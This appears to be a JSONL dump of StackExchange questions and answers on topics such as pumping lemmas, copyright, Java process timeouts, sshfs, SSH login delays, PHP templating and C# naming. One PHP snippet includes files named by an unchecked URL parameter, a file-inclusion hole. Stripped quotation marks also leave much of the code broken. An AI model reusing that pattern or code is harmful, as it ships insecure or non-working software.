L$ in contradiction.If both $v$ and $y$ are left to $\\#$: Then for $i = 0$, we get that$uxz$ is of the form $w\\#x$, where $|w| < |x|$, so $uxz \\notin L$.If both $v$ and $y$ are right to $\\#$: Similar to the last case.If $v$ is left to $\\#$, $y$ is right to it, and $|v| < |y|$: Thenfor $i = 0$, we get that $uxz$ is of the form $w\\#x$, where $|w| >   |x|$, so $uxz \\notin L$.If $v$ is left to $\\#$, $y$ is right to it, and $|v| > |y|$: Similarto the last case.If $v$ is left to $\\#$, $y$ is right to it, and $|v| = |y|$: This isthe most interesting case. Since $|vxy|  p$, $v$ must be containedin the $1^{p}$ part of $s$, and $y$ in the $0^{p}$ part. So it holdsthat $v = 1^{k}$ and $y = 0^{k}$ for the same $1  k  p$  (in fact,it must be that $k < p/2$). For each $j  0$, it holds that$uv^{j+1}xy^{j+1}z = 0^{m}1^{p+jk}\\#0^{p+jk}1^{m}$, so if ithappens that $m = p + j  k$, then it holds that $uv^{j+1}xy^{j+1}z   \\notin L$ in contradiction. To achieve this, we must take $j =   (m-p)/k$, which is valid only if $m  p$ is divisible by $k$. Recallthat we chose $m = p + p!$, so $m  p = p!$, and $p!$ is divisible byany $1  k  p$ as wanted."  , "title": "Why does $L=\\{w\\#s : |w|=|s|\\, w,s\\in \\{0,1\\}^{*}, w \\neq s \\} \\notin CFL$"  , "tags": "context free;pumping lemma"  } 
{  "id": "_softwareengineering.208776"  , "question": "I have re-written an open source project from java to haxe, then from haxe compiled to javascript, with totally different UISo, the question is, is the code considered to be mine after rewriting it to another language in a closed source project? can I use it freely with no worries about original copyrights?"  , "title": "Would copyrights drop if I re-write open source project into another language?"  , "tags": "licensing;open source"  , "accepted_answer": "No. It is derived from the original open-source project, thus a so-called derivative work, still protected by the original copyright.In copyright law, a derivative work is an expressive creation that includes major, copyright-protected elements of an original, previously created first work (the underlying work)...For copyright protection to attach to a later, allegedly derivative work, it must display some originality of its own. It cannot be a rote, uncreative variation on the earlier, underlying work. The latter work must contain sufficient new expression, over and above that embodied in the earlier work for the latter work to satisfy copyright laws requirement of originality..."  } 
{  "id": "_softwareengineering.182488"  , "question": "I would like to use a timer in my C# program with millisecond accuracy to keep a camera in sync with some events and keep shooting a picture every 250ms (or 1/4 sec, or I might adjust it to even shorter times like 200ms or 100ms). The normal timer event can be used for this.But I wonder what would be the best way to do this.Also I think I should NOT write the whole capture routine in it, but instead just raise another thread (multi-threading) to process the image with some vision logic on it, as my vision logic takes about 1 seconds, so I will get some queue here.If my vision algorithms would take 1 seconds per thread, would this mean that on a multicore (12 cores) PC that such code thread would go to the next available free processor or am I thinking to easily about multitasking?"  , "title": "Multitasking in C#"  , "tags": "c#;multithreading;real time"  } 
{  "id": "_softwareengineering.84625"  , "question": "I have been considering using the Amazon cloud (EC2) for a small workflow application. In terms of power and storage, a SQL Server Express database will more than meet my needs. I have been cautioned against paying for just a Windows server instance and installing SQL Server Express due to mainly security issues. Is it reasonable to think that there is an Amazon Machine Image (preconfigured images that you can load onto your instance) with SQL Server Express installed where most of the server hardening has been taken care of?The wise course may be to just pay for the Windows + SQL Server instance so it is already configured for me, but it is quite a cost difference. "  , "title": "Amazon Cloud (EC2) w/SQL Server. Pay for SQL instance, or use an AMI w/SQL Server Express?"  , "tags": "security;sql server;amazon ec2"  } 
{  "id": "_softwareengineering.274199"  , "question": "Our business works with truck drivers making pickups/deliveries of containers. The location of containers needs to be tracked.The drivers use mobile devices to generate a DriverReport (a log of their trip locations, times, container pickup/drop-offs, etc.). This is currently working with a mostly CRUD design.We wanted to maintain good SoC so we built two services:DriverServiceInventoryServiceWe've had the DriverService take a dependency on the InventoryService. When a new DriverReport was inserted, it would generate DTO's (based off the reports data) that could be sent to the InventoryService.We're not using CQRS yet, but we're considering transitioning to it.I'm struggling to understand the relationship between the services, commands and BLL. I seem to have lots of questions.Who would be responsible for calling the inventory service?Would it be good design for a NewTripCommandHandler to generate and send an UpdateContainerInventory command?Or, would updating inventory for a new Trip be considered business logic? If yes, should a a domain entity for Trip generate and send an UpdateContainer command?Or, should the mobile client generate both trip and inventory specific commands to send to the appropriate service?Would it make more sense to take the parts specific to DriverReport inventory and merge it into the DriverService (so the dependency is broken)? Is that still good SoC? If we did this, at what layer might we start to think about the inventory? Would updating the inventory simply become a DB repository concern, or should there still be inventory specific commands and/or business logic?I'm getting lost in the details, and it seems the more I read on the topics, the more confused I get."  , "title": "What layer generates commands for dependent services?"  , "tags": "architecture;domain driven design;separation of concerns;cqrs"  , "accepted_answer": "You could consider SOA if you want to. The thing is here you're only dealing with Commands. If you add the Publish/Subscribe pattern (message queues, service bus), you can have the serives publish events/messages, and not have to know who the subscribers were; the subscribers would all get the news and operate off the message contents. "  } 
{  "id": "_vi.202"  , "question": "I'm using Vim in a terminal, so scrolling with the scroll wheel uses the \\e[A and \\e[B syntax (where \\e symbolizes \\x1b, or escape).However, Vim interprets this by moving the cursor up or down a line. The desired behavior is that the screen is moved up or down, like <C-e> and <C-y> do.How can I tell Vim to move the screen when I used my scroll wheel, while keeping the cursor on the same line? This should work in all common modes (insert, normal, visual select).I've already tried, for example, :nnoremap <esc>[A <C-e> (replacing <esc> with a literal escape character inserted with Ctrl+V Esc), but this proved to be futile.I'm using Vim 7.4.52 on Ubuntu 14.04 with GNOME."  , "title": "Scroll the screen, not the cursor, when using scrollwheel"  , "tags": "mouse;scrolling;x11;terminal"  , "accepted_answer": "As @Doorknob said in his comment, :set mouse=a fixes the problem."  } 
{  "id": "_webapps.17818"  , "question": "Facebook Pages policy states that media auto-play is not allowed on a Facebook Page. Now I wonder what is considered media? JavaScript with setTimout/setInterval as well?If I put a jQuery carousel/slider/fader on my Page's custom tab that rotates some HTML text elements every 10 seconds and starts cycling the moment Facebook Page's loaded. Is this regarded as media? It's Javascript that rotates text so to me this is not media...See it here and tell me whether this can be considered media..."  , "title": "What is considered media when referring to Facebook Pages autoplay policy?"  , "tags": "facebook pages"  , "accepted_answer": "Media generally refers to video and audio elements.  The auto play ban is in reference probably to when it was popular for people to throw audio and video clips on their site that played as soon as a user opened the page... which then and even more so now was considered to be bad design and bad for the user experience.What you are describing doesn't fit into that situation so you will be fine."  } 
{  "id": "_unix.333170"  , "question": "I have an ASUS UX50V laptop. Both Linux Mint 18 32-bit and Linux Mint 18.1 64-bit identify the video card as NVIDIA Corporation: G98M [GeForce G 105M]. https://www.asus.com/Notebooks/UX50V/specifications/ concurs with the 105M designation.I add ppa:graphics-drivers/ppa as a software source, per https://johners.tech/2016/07/installing-the-latest-nvidia-graphics-drivers-on-linux-mint-18/, and then I see two nvidia options available to me:nvidia-304 (NVIDIA legacy binary driver - version 304.134)nvidia-340 (NVIDIA binary driver - version 340.101)Whenever I set it up to use either I get the following error message:Cinnamon just crashed. You are currently running in Fallback Mode.Do you want to restart Cinnamon?Here's /var/log/Xorg.0.log for the 32-bit install with the 304.xx driver:http://pastebin.com/fVfeKqfdHere's /var/log/Xorg.0.log for the 64-bit install with the 340.xx driver:http://pastebin.com/w8WS1WnuBoth logs have the same two errors:(EE) [drm] Failed to open DRM device for (null): -22(EE) Failed to initialize GLX extension (Compatible NVIDIA X driver not found)I've tried both drivers and get the same result. Is the GeForce G 105M simply not supported? If so then why would Driver Manager list both as a suitable drivers?"  , "title": "linux mint keeps crashing with official nvidia drivers"  , "tags": "linux mint;nvidia;asus"  } 
{  "id": "_softwareengineering.240613"  , "question": "Consider the following problem:Description:There are n jobs J1...Jn with cycle times C1....Cn. Find a time quantum and a scheduling table considering that:any element of the table contains at most one jobthe job handler will process an element at a time, i.e. execute the job (if any) then, after a time quantum passes, moves to the next element.the job handler will loop-back, i.e. after the last element it will continue with the first.the ciclicity must be maintained, i.e. the distance between any two consecutive (including loop-back) occurances of job Jk (k = 1,n) must be equal to Ck / time quantum.the table must be as short as possible.Example:J1 - 4 seconds ciclicityJ2 - 6 seconds ciclicityJ3 - 8 seconds ciclicityExample solution:time quantum = 1s0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 seconds+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+|J1|J2|J3|  |J1|  |  |J2|J1|  |J3|  |J1|J2|  |  |J1|  |J3|J2|J1|  |  |  |+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+My feeling is that this belongs to the family of scheduling problems and that it may be a special case of a more general problem. Is this so? I tried to search for it online but didn't find anything that looks similar. Since I don't have any experience with scheduling problems I'm not even sure what to search for.From what I see:the total duration of the schedluing table should be the smallest common multiple of C1...Cn.the time quantum should be at least GCD(C1,...,Cn) / n. - This is not necessarly the optimal solution.This leads me to believe that there is a straight forward solution and not one involving dynamic programming. Is this so?Can somebody point me to some resources, maybe even an algorithm, for this problem? I'm also curious about variations where there the jobs can be distributed between more than one scheduling tables.GCD = Greatest Common DividerEdit: I'm not asking how to schedule N jobs with given cycle times; I'm sure there are more dynamic ways to do this as some suggested. My problem is Find a time quantum and a scheduling table considering that:[...]. It's even possible that it may have it's roots in some parts of mathematics."  , "title": "Does anybody recognize this scheduling problem? Is there an algorithm for it?"  , "tags": "algorithms;problem solving;scheduling"  } 
{  "id": "_webmaster.38635"  , "question": "Hi all I'm in the process of finding out all about sprites and how they can speed up your pages.So I've used spriteMe to create a overall sprite image which is 130kb, this is made up of 14 images with a combined total size of about 65kbSo is it better to have one http request and a file size of 130kb or 14 requests for a total of 65kb?Also there is a detailed image which has been put into the spite which caused it's size to go up by about 60kb odd, this used to be a seperate jpg image which was only 30kb. Would I be better off having it seperate and suffering the additional request?"  , "title": "http requests, using sprites and file sizes -"  , "tags": "http;page speed;sprite"  , "accepted_answer": "At this point, you'll have to make a choice based on some aspects having both good and bad effects.Sending multiple HTTP requests isn't necessary evil. Having 1 for images is perfect and having 2 is very very good too. Rememberthat what makes HTTP request slow is the time when the browser andserver communicate before actually sending the image (or any otherfiles). This step takes about 100 to 200 milliseconds from what I'veseen in past tests (it depending on many factors like serverlocation, internet speed, etc.).Does all the images in your sprite are used on each page ? If not, you could have one main sprite for images used on every pageload and other images in other separated sprites. If yourdetailed jpg image is used on only one page, keep it separate ! Yougonna have 2 requests on only this page and every other pages gonnahave 1 request with a much optimized sprite.Do you really need transparency ? If you don't have things like rounded icons needing transparency, you could consider compressing your .png sprite to .jpg as it could decrease it's size if the sprite size is more than about 8kb.After having made decisions based on that, you could also consider using the browser cache at your advantage so visitors won't download your sprites on every page load. That will vanish the 100 to 200 milliseconds of browser<-->server communications time.If your website is on an Apache server, add this in an .htaccess file at the root of your site :#enable file compressionSetOutputFilter DEFLATE#enable caching of external files listed below for 1 year<FilesMatch \\.(ico|pdf|flv|jpe?g|png|gif|js|css|swf)$>    ExpiresActive On    ExpiresDefault access plus 1 year</FilesMatch>After doing that, the browser will search for your sprites and files in his cache before asking the server. If he find it, he wont ask the server for it. This will raise a new problem unfortunately : If I modify my sprite, how does the browser gonna know it if he don't talk to my server no more ?, well to force him to talk to the server again you gonna have to change the sprite's URL.An automated method I use to do this is putting the file's last modification date at the end of it with this PHP function (it'll return the file's url with modification date or the date you want to add) :function prepare_for_cache($url,$date_to_add=){$p=strrpos($url,'.'); $b=strtolower(substr(strrchr($url,'.'),1)); $t=$date_to_add?$date_to_add:@filemtime($url); return substr($url,0,$p).'-cb'.($t?$t:time()).'.'.substr($url,$p+1,strlen($url));}and then using the Apache's *mod_rewrite* module to ignore that modification date and load the file with the correct URL (the one of the file on the server without the modification date).#put the file's url back to normalOptions +FollowSymlinksRewriteEngine onRewriteRule (.*)-cb\\d+\\.(.*)$ $1.$2     This way you never have to worry about visitors cache being outdated and you don't have to change file's name on every site update...Hope it helps ! :)"  } 
{  "id": "_codereview.24907"  , "question": "I was wondering if this is the correct implementation of a times task to destroy a thread after it overruns a predefined time period:It works by creating a getting the thread from runtime.getRuntime, which it then uses to create a new process to run a command with the exec() method (creates a sub process). This is the process I want to terminate if it overruns. The code then handles the outputs streams from the process. before using waitFor() to let it finish running. However, in the circumstance it overruns, I have added a timer instance which I want it to use to terminate if the process overruns a defined time (retrieved using getTimeout()). However, I am worried the way I have done it will stop the original code from running.Here is the timer code:timer = new Timer();timer.schedule(new TimerTask() {@Overridepublic void run(){      processWasKilledByTimeout = true;      if(process != null){          process.destroy();       }}}, getTimeout();I call this just after calling the exec method to create the subprocess.Here is the full method:private Process process;private boolean processWasKilledByTimeout = false;public String executeCommand()throws Exception {    InputStreamReader inputStreamReader = null;    InputStreamReader inputErrorStreamReader = null;    BufferedReader bufferedReader = null;    BufferedReader bufferedErrorReader = null;    StringBuffer outputTrace = new StringBuffer();    StringBuffer errorTrace = new StringBuffer();             String templine = null;            Timer timer = null;    Runtime runtime = Runtime.getRuntime();    try {                   // Running exec produces one of two streams- combine to produce common string.        process = runtime.exec(getCommand());                    timer = new Timer();                    timer.schedule(new TimerTask() {                    @Override                    public void run(){                          processWasKilledByTimeout = true;                          if(process != null){                              process.destroy();                           }                    }                    }, getTimeout();        // The normal output stream        InputStream inputStream = process.getInputStream();        inputStreamReader = new InputStreamReader(inputStream);        bufferedReader = new BufferedReader(inputStreamReader);             while (((templine = bufferedReader.readLine()) != null) && (!processWasKilledByTimeout)) {            outputTrace.append(templine);            outputTrace.append(\\n);        }        this.setStandardOut(outputTrace);        // The error output stream        InputStream inputErrorStream = process.getErrorStream();        inputErrorStreamReader = new InputStreamReader(inputErrorStream);        bufferedErrorReader = new BufferedReader(inputErrorStreamReader);        while (((templine = bufferedErrorReader.readLine()) != null) && (!processWasKilledByTimeout)) {            errorTrace.append(templine);            errorTrace.append(\\n);        }           this.setErrorTrace(errorTrace);        //Wait for process to finish and return a code        int returnCode = process.waitFor();         //Set the return code        this.setReturnCode(returnCode);         if (processWasKilledByTimeout) {            //As process was killed by timeout just throw an InterruptedException            throw new InterruptedException(Process was killed before the waitfor was reached.);        }    } catch(IOException ioe) {        String error = Error executing this command - +getCommand() +. +ioe.getMessage();        throw new CommandExecuterException(error);    }catch(IllegalArgumentException ile){        String error = Illegal argument encountered while executing this command - +getCommand() +. +ile.getMessage();        throw new CommandExecuterException(error);    }  catch(InterruptedException ie) {                     error = Process was killed after timeout by watchdog. +ie.getMessage()+. ;        throw  new CommandExecuterException(error);    } finally {        //cancel the timer not needed anymore        if(timer!= null){            timer.cancel();        }        try {            if(bufferedReader != null){                 bufferedReader.close();            }            if(bufferedErrorReader != null){                bufferedErrorReader.close();                }            if(inputStreamReader != null){                      inputStreamReader.close();            }            if(inputErrorStreamReader != null){                inputErrorStreamReader.close();            }        } catch(IOException ioe) {            String error = Error closing stream - +getCommand() +. +ioe.getMessage();            throw new CommandExecuterException(error);        }        if(mProcess != null) {            mProcess.destroy();                 }    }    //Assemble both the standardout and the errortrace    String tmpReturnString = getStandardOut().toString()+\\n+getErrorTrace().toString();    return tmpReturnString; }Will this implementation override the threads run method?"  , "title": "Timer/timertask to destroy a process that overruns a defined time limit"  , "tags": "java;strings;multithreading;timer;child process"  } 
{  "id": "_cogsci.3520"  , "question": "All of you probably know what the human 'circadian cycle' is, and depending on your personality, you would either be a night-owl or a morning-lark.I am interested in understanding the patterns of alertness and tiredness throughout the entire day, between waking up and sleeping.Personally, my alertness gears up in the morning until 12.30 pm, after which I will, consciously or not, begin to feel very very drowsy. This happens even in the absence of lunch (lunch makes people feel tired because the body works to break down the carbohydrates). I will continue feeling tired and exhausted throughout the entire afternoon before I become alert again from 5 pm onwards. And then of course, in the night I am quite alert.Here are my questions:Has research been conducted on this?Are there strategies to alter the patterns?Does the tiredness have to do with eating patterns?What are the relationships between tiredness and our circadian cycles?"  , "title": "How do I change my tiredness patterns?"  , "tags": "sleep;consciousness"  } 
{  "id": "_vi.5711"  , "question": "I was recently looking at a another users .vimrc and noticed that they had settings which we commented as secure, private editing; how does one accomplish this, and what do the settings in question mean?I noticed one of them was nobackup which seems to me to mean that you don't create that ~ file that always hangs around.Note: you may want to port this over to the security stackexchange as well, they could probably use it over there."  , "title": "How to ensure private secure editing in vim?"  , "tags": "vimrc;security"  , "accepted_answer": "For each of those options, do::help 'option'For example::help 'nobackup'"  } 
{  "id": "_unix.192619"  , "question": "There are a bunch of files in a remote directory which I want to access over sshfs and then script some operations. In practice, I wish to access different files at different times, and perform different operations on those files.Option 1: Mount the whole directory (one script). Then, run any file-specific script of my choosing.Option 2: Bundle the process of mounting the directory together with the file-specific script.Disadvantage of option 1: Before running the file-specific script, I forget whether the folder is mounted at all. It takes only 10 seconds to check, but is a minor irritation. I don't want the folder to be mounted at all times, or by default.Disadvantage of option 2: When processing a second or third file, I end up using sshfs to mount a remote directory which is already mounted. Can this do any harm?With respect to option 2, I suppose it's possible to check whether the directory is already mounted, like this: Check if directory mounted with bash [closed]. Does that sound like the best solution?"  , "title": "Remount sshfs directory - how to handle this?"  , "tags": "mount;sshfs"  , "accepted_answer": "Talking about option 2, it's not a good idea to mount an already mounted remote directory. If you mount it on another mount point and depending on what is your processing, you'd lose the lock mechanism.Furthermore, by default, fuse won't make any mount if the mount point is not empty.IMHO, the best way to proceed is what you say: check if the remote directory is already mounted, and if not, then mount it. It's only a few lines to append in your script, so easy to manage. For example:REMOTE=user@remote:/some/dirMOUNTPOINT=$( mount | grep -E ^${REMOTE}/?  | awk '{print $3}' )if [ -z $MOUNTPOINT ] ; then    echo Mounting remote directory...else    echo $REMOTE is already mounted on $MOUNTPOINTfi"  } 
{  "id": "_unix.255203"  , "question": "When using fgrep, the man page says it will Interpret PATTERN as a list of fixed strings, separated by newlines,  any of which is to be matched.In bash, what's the correct way to insert newlines into the PATTERN argument (i.e. such that it'll match any of the lines according to the man page).I've tried the following with no luck:fgrep word1\\nword2fgrep word1\\rword2fgrep word1\\nword2fgrep word1\\rword2I'd like the command to be all on one line if possible."  , "title": "How to insert newlines into PATTERN when using fgrep / grep -F / grep --fixed-strings"  , "tags": "bash;quoting;newlines"  } 
{  "id": "_codereview.30112"  , "question": "I am building my first real php web app. as many you know this requires building LOTS of pages.in attempting to streamline the repetitive stuff i placed most of my stuff within a content.php page which looks like this?php include_once ('config3.inc');?><?php if(isset($_GET['p'])){    $page = $_GET['p'];}else {    $page ='';}?><!DOCTYPE html><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=en><head><meta name=viewport content=width=device-width, initial-scale=1.0>    <meta http-equiv=Content-Type content=text/html; charset=utf-8 />    <title><?php echo $_SERVER['PHP_SELF'];?></title>    <?php include('styles.inc');?>   <?php include('api.inc'); ?>   <?php include('scripts.inc');?></head><body><div id=container>    <?php include ('header.inc');?>    <div><!-- Content -->    <?php include  ('./content/'.$page);?>    </div></div><!-- end container --><!-- Footer --><?php include ('footer.inc');?></body></html>This way when I want to call up a page I go to www.domain.com/content.php?p=pagename.php and it will wrap everything in the correct style sheets container and footer etc.had been working well until I started making my CRUD pages requiring that pagename use POST data.Is there a better approach for this or do I need to scrap this approach entirely?"  , "title": "Attempting to build template but Having Issue with gets and posts"  , "tags": "php;template"  , "accepted_answer": "Well a more elegant approach would be to use an MVC pattern as a starter framework I would suggest you to use Laravel it's very clear written and also an easy catch for people who are general new to MVC. The way your currently writing the code, you include to much business logic inside of it. Which in the long term is terrible because the code becomes un-maintainable, for that the MVC Pattern is the best way to write clear and maintainable code, but check it out yourself. An good article to start with should be this one by Nettuts, called MVC for Noobs don't get irritated by the name the article is pretty good and should get you a basic understanding of the MVC pattern.Hope I could be a little help :)"  } 
{  "id": "_unix.252136"  , "question": "How can I substring a 1.2.3 from a 1.2.3-SNAPSHOT from bash?I tried echo '1.2.3-SNAPSHOT' | grep -o ^.*(?=(\\-SNAPSHOT$))but it didn't workIdeally I'd like a command to return 1.2.3 in both cases if the input is 1.2.3 or 1.2.3-SNAPSHOT"  , "title": "bash extract a substring from 1.2.3-SNAPSHOT"  , "tags": "bash;grep;regular expression"  , "accepted_answer": "You could eg. use egrep like this: echo 1.2.3-SNAPSHOT | egrep -o '[0-9]+.[0-9]+.[0-9]'It cover the scenario you described:return 1.2.3 in both cases if the input is 1.2.3 or 1.2.3-SNAPSHOTBut I suspect the version could also be like : 3.1.33 (more digits in the third number), in this case just adding a * does workecho 3.12.32-SNAoiashfsof | egrep -o '[0-9]+.[0-9]+.[0-9]*'"  } 
{  "id": "_unix.259870"  , "question": "Suspend doesn't halt my old computer (DELL Precision T7400) since I updated to xubuntu 15.10.I have a black screen after suspending but the computer is still working (fan, led, ...)I suspect systemd to mess up with pm-suspend.I tried to suspend in different ways: pm-suspendxfce4-session-logout --suspendUswsusp (s2ram)dbus-send --system --print-reply --dest=org.freedesktop.UPower /org/freedesktop/UPower org.freedesktop.UPower.Suspend`I have all the times the same result: blank screen but still power.Any fixing ideas?"  , "title": "Suspend isn't working anymore after upgrade to xubuntu 15.10"  , "tags": "ubuntu;systemd;xfce;suspend;xubuntu"  } 
{  "id": "_unix.76820"  , "question": "We currently have our website and website's CMS hosted on a dedicated host which runs Red Hat.  We want to remove Red Hat and install CentOS instead.My question: is there a straight forward way of replicating all the server settings, PHP, Apache, SQL data, website files, and CMS settings from the Red Hat install, and moving them over to a new CentOS install?To make things easier, I don't mind installing the equivalent version of CentOS, based on the Red Hat version we currently have.  So if we have Red Hat 6.0, I am happy to install CentOS 6.0 if it makes things more straight forward.The CMS we use is Express Engine."  , "title": "Copy website from RedHat to CentOS"  , "tags": "centos;rhel;migration;duplicate;replication"  } 
{  "id": "_webmaster.91501"  , "question": "I recently removed the hash from the URLs of my website built with AngularJS. Now I would like to remove the old URLs from the Google search results to avoid duplicate content. Problem is, when I try to do this via the Webmaster Tools' URL removal tool, the hash gets removed from my input and Google tries to remove my root URL from the index.Also, when I add Disallow: /#/ to my robots.txt file, ALL requests are being blocked.Should I just be patient and wait until Google recognizes the change or is there a way to remove these URLs?PS: Calling the hash URLs will not lead to a 404, they are just forwarded to the non-hashed page automatically. But no hash URL is included in my sitemap nor linked anywhere on my page.PPS: I found a similar question here, but it's not exactly the same as I didn't switch to hashbang URLs but instead I'm taking advantage of Googles relatively new ability to query AngularJS pages properly."  , "title": "Remove hash URLs from Google search results after removing the hash"  , "tags": "seo;google search console;google search;url"  } 
{  "id": "_webapps.54597"  , "question": "I noticed this code from a thread I was reviewing as I needed the same functionality to provide a timestamp when a particular row is edited in a Google Spreadsheet; function onEdit() {  var s = SpreadsheetApp.getActiveSheet();  var r = s.getActiveCell();  if( r.getColumn() != 18 ) { //checks the column    var row = r.getRow();    var time = new Date();    time = Utilities.formatDate(time, GMT-08:00, MM/DD/yy, hh:mm:ss);    SpreadsheetApp.getActiveSheet().getRange('B' + row.toString()).setValue(time);  }; };It works perfectly I was able to determine how to modify it to place the timestamp in column R which suited my needs but is there a simple way to make it ignore Row 1 which is the column headers?"  , "title": "Help with a previous question you answered"  , "tags": "google spreadsheets;google apps script"  , "accepted_answer": "You just need to wrap an extra conditional around the stamping code. Check the row value and only execute the stamping part if the row is NOT 1.function onEdit() {  var s = SpreadsheetApp.getActiveSheet();  var r = s.getActiveCell();  if( r.getColumn() != 18 ) { //checks the column    var row = r.getRow();    if (row != 1) {      var time = new Date();      time = Utilities.formatDate(time, GMT-08:00, MM/DD/yy, hh:mm:ss);      SpreadsheetApp.getActiveSheet().getRange('B' + row.toString()).setValue(time);    };  }; };"  } 
{  "id": "_webmaster.72536"  , "question": "I can't understand what i need to change to fix this issue in google analytics, i was playing with filters there but this error is still on google analyticsProperty mysite.com is receiving hits with utm_term parameters of the same text but different letter cases.Campaign parameters are case sensitive,so hits with the same keyword text but different letter caseswill show up separately in reports. As an example,the keywords newsletter and Newsletter would be considereddifferent and would have separate rows in reports.Property mysite.com is receiving hits with utm_term parametersof the same text but different letter cases,such as MY SITE, My Site, MYSITE, Mysite.To avoid having data from the same keywords split across multiple rows in reports,you can set a case filter for Campaign Term on your views.GA Code:(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){   (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),   m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)   })(window,document,'script','//www.google-analytics.com/analytics.js','ga');ga('create', 'UA-6807150-XX', 'auto');ga('send', 'pageview');`"  , "title": "Duplicate Campaign Parameters Google analytics"  , "tags": "google analytics"  } 
{  "id": "_cs.16474"  , "question": "I am well aware of the DP solution to the traveling salesman problem; also known as the Held and Karp algorithm for TSP.I have implemented it with bitmask, and it's something like this:int TSP(int pos, int bitmask) {    if (bitmask == (1<<(K+1))-1)        return dist[pos][0];              // Completing the round trip    if (memo[pos][bitmask] != -1)        return memo[pos][bitmask];    int answer = INF;    for (int i = 0; i <= K; i++) {        if (i != pos && (bitmask & (1 << i)) == 0)               answer = Math.min(answer, dist[pos][i] + TSP(i, bitmask | (1 << i)));    }    return memo[pos][bitmask] = answer;     // Storing the best dist for the set of traveled cities and untraveled ones.This algorithm is quite fast; computation of 15 cities is relatively fast enough. However, I notice that it could be further improved to accommodate around 20 cities.1) If the dist matrix is symmetrical, perhaps we can make use of this property to prevent repeated calculations. (e.g a->b->c->d->a == a->d->c->b->a)2) Using both a upper and lower bound to prune. The above algorithm is able to get its first possible optimal solution in a very short time, might be able to use that.I have tried to improve the algorithm based on the aforementioned two principles. However, I don't get a better algorithm.Am I making a futile attempt at improving something impossible? What do you think?"  , "title": "Traveling Salesman with Held and Karp Algorithm"  , "tags": "graph theory;np complete;dynamic programming;traveling salesman"  } 
{  "id": "_unix.340309"  , "question": "I have a machine recently updated to Fedora 25, running openSSD 7.4.  Ever since then, logging in via ssh takes 25-30 seconds on a LAN where it normally takes no more than 1 second.Running the client with -vvv, using public key authentication, the pause occurs here.debug1: Authentication succeeded (publickey).Authenticated to crystalline.kodiak ([192.168.0.22]:127).debug1: channel 0: new [client-session]debug3: ssh_session2_open: channel_new: 0debug2: channel 0: send opendebug3: send packet: type 90debug1: Requesting no-more-sessions@openssh.comdebug3: send packet: type 80debug1: Entering interactive session.debug1: pledge: networkThis looks identical to output to other (Fedora 23, openSSH 7.2) machines on the same network which do not have any problem.Watching top on the server side during the login, systemd flares up briefly -- a few seconds -- at the beginning of the pause, something not noticeable on the other machines. After that the system is completely idle.  Likewise, there is no unusual activity on the client side.Once logged in everything is fine.I have watched the exchange from the client with wireshark and during the pause there are no packets exchanged.  The client and server are on ethernet through a router, so I am also able to watch the server address for any traffic.  There's nothing going on.Here's the sshd_config:Port 127HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_ecdsa_keyHostKey /etc/ssh/ssh_host_ed25519_keyIgnoreRhosts yesSyslogFacility AUTHPRIVLogLevel INFOTCPKeepAlive yesClientAliveInterval 120ClientAliveCountMax 15PermitRootLogin yesStrictModes yesPubkeyAuthentication yesAuthorizedKeysFile  .ssh/authorized_keysPasswordAuthentication noChallengeResponseAuthentication noKerberosAuthentication noGSSAPIAuthentication noUsePAM yesX11Forwarding noUsePrivilegeSeparation sandboxAcceptEnv LANG LC_*Subsystem   sftp    /usr/libexec/openssh/sftp-server  As per Sato Katsura's suggestion in comments, I have tried with UseDNS no; this did not make any difference."  , "title": "SSH 7.4 prolonged pause at pledge: network"  , "tags": "ssh;fedora;systemd;raspberry pi;sshd"  } 
{  "id": "_softwareengineering.349510"  , "question": "I'm trying to ascertain whether the use of multiple references to the same property is code smell / an anti-pattern, based on the needs of the organisation.As an example, consider:abstract class Person {    public string Title { get; set; }    public string Forename { get; set; }    public string MiddleNames { get; set; }    public string Surname { get; set; }    public string GivenName  { get { return Forename; } set { Forename = value; } }    public string FamilyName { get { return Surname; }  set { Surname = value; } }    public string FirstName  { get { return Forename; } set { Forename = value; } }    public string LastName   { get { return Surname; }  set { Surname = value; } }}As you can see, I have several other properties, (kind of) aliasing or giving alternate names to properties in the object, but basically repeating exactly the functionality of the base property without exception.The reasons behind this is down to the naming conventions utilised in different areas of the organisation; it's providing multiple ways of addressing the same information, allowing each different area to use their preferred method of access.  Because each of the other properties reference the base property, any programmatic changes only need to be included in the said base property.And so to clarify...@GregBurghardt has kindly posted alternatives to my conundrums, but I feel that I must qualify one of my statements a little more.In VB.NET I can quite happily code interfaces into my classes but use alternative names in the actual member implementation, like so...Public Interface IPerson    Property Forename() As String    Property Surname() As StringEnd InterfacePublic Class BillingPerson    Implements IPerson    Public Property GivenName() As String Implements IPerson.Forename    ...    Public Property FamilyName() As Int32 Implements IPerson.Surname    ....End ClassNotice, here, that I've used a different property name for the (VB) property, but still implemented the true name of the interface (e.g. Public Property GivenName () As String Implements IPerson.Forename). This means that I can reference my BillingPerson class, despite the obvious property name differences, using the interface...'Define our interface type object here...Dim myP As IPerson = New BillingPerson()'Assign values directly to the interface members...myP.Forename = FredmyP.Surname = Bloggs'Output the interface members...Console.WriteLine(myP.Forename &   & myP.Surname)...or I can refer to the original class directly....'Define our BillingPerson object here...Dim myP As BillingPerson'Assign values directly to the interface members...myP.GivenName = FredmyP.FamilyName = Bloggs'Output the interface members...Console.WriteLine(myP.Forename &   & myP.Surname)Using this methodology, my problem would be very short-lived , and I'd be able to create as many classes based on the interface as I need.This doesn't appear to work the same way in C#, however, where I can't directly alias the name of the interface members."  , "title": "Multiple properties/methods giving the same result"  , "tags": "c#;anti patterns;code smell;properties"  , "accepted_answer": "Since your organization can't seem to agree on naming things, it feels like you need to architect your application assuming there will be lots of things they don't agree on. It sounds like it will only get worse.Maybe what you need instead is to adopt more of a facade or adapter pattern.So, here is your standard person:public class Person{    public string Title { get; set; }    public string Forename { get; set; }    public string MiddleNames { get; set; }    public string Surname { get; set; }    // Enterprise wide behavior goes here}And the Billing Department can have its own way:public class BillingDepartmentPerson{    private readonly Person person;    public string GivenName    {        